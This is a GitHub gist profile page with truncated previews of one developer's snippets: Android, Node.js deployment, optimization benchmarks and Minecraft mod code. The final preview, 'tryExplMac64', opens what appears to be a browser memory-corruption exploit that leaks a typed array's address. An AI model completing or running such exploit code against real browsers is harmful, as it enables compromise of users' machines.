Skip to content

Instantly share code, notes, and snippets.

View ahornerr's full-sized avatar

Andy Horner ahornerr

View GitHub Profile
@ahornerr
ahornerr / Gradle
Last active August 29, 2015 14:24
Android Robotium Test
Executing tasks: [:Dolly-App:assembleKentucky_wildcatsDebug, :Dolly-App:assembleKentucky_wildcatsDebugAndroidTest]
private void doMySearch(String query) {
if (query.equalsIgnoreCase("sttubkcid") || query.equalsIgnoreCase("ttubkcid")) {
toggleLoadingIndicator();
}
}
public static void toggleLoadingIndicator() {
boolean currentValue = getSharedPrefs().getBoolean(PrefsEnums.KEY_LOADING_INDICATOR.toString(), false);
SharedPreferences.Editor editor = getSharedPrefs().edit();
editor.putBoolean(PrefsEnums.KEY_LOADING_INDICATOR.toString(), !currentValue);
{
"algorithm": "particleSwarm",
"fitnessFunction": "sphere",
"parameters": {
"dimension": 3,
"isMaxObj": true,
"numRuns": 100,
"iterations": 100,
"numParticles": 100,
"minPosition": -5.12,
function deployPromise(profile) {
var shasum = crypto.createHash('sha1');
shasum.update(config.secretSalt + profile.ampacheID);
ampacheMysqlPassword = shasum.digest('hex');
return mysqlHelper.setupAmpacheSQL(profile, ampacheMysqlPassword).then(function() {
configHelper.writeAmpacheConfig(profile, ampacheMysqlPassword);
configHelper.writeNginxConfig(profile).then(function() {
sh.run("sudo service nginx reload");
});
return createInstance(profile);
var columns = [
{id: 1234567890, title: "shittily named title"},
{id: 0987654321, title: "shitty title 2"}
];
var mapping_table = {
mapped_column1_name: "shitty title 2",
mapped_column2_name: "shittily named title"}
};
var markers = MarkerService.getAllMarkers();
$scope.map.markers = _.reduce(filters, function(previousVal, filter) {
return filter.filterFunc(previousVal);
}, markers);
console.log('Went from ' + markers.length + ' to ' + $scope.map.markers.length);
var sampleFilter = {
name : "Order Completion",
id : "completion",
{
"name": "Particle Swarm",
"id": "particleSwarm",
"params": [
{
"id": "dimension",
"description": "Dimension of the solution (number of elements in the array)",
"min": 1,
"max": 100
},
@ahornerr
ahornerr / AndyClass.java
Last active August 29, 2015 14:13
ITickingEntity EntityTickHandler
package io.rsmc.RSMC;
import io.rsmc.RSMC.handlers.ITickingEntity;
import net.minecraft.entity.EntityLivingBase;
public class AndyClass implements ITickingEntity {
private static final int _10_SECOND_TICK = 10 * 20;
private static final int _30_SECOND_TICK = 30 * 20;
============================== hillClimb ==============================
========================== Sphere ==========================
Dimensions: 1 | Average M: 9,986.48 | Std. dev: 15.70 | Average time: 8.30ms
Dimensions: 5 | Average M: 26,919.34 | Std. dev: 9,464.79 | Average time: 0.80ms
Dimensions: 10 | Average M: 35,892.03 | Std. dev: 10,490.59 | Average time: 1.40ms
Dimensions: 50 | Average M: 165,158.61 | Std. dev: 23,702.26 | Average time: 4.80ms
Dimensions: 100 | Average M: 341,294.99 | Std. dev: 21,500.86 | Average time: 9.50ms
function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1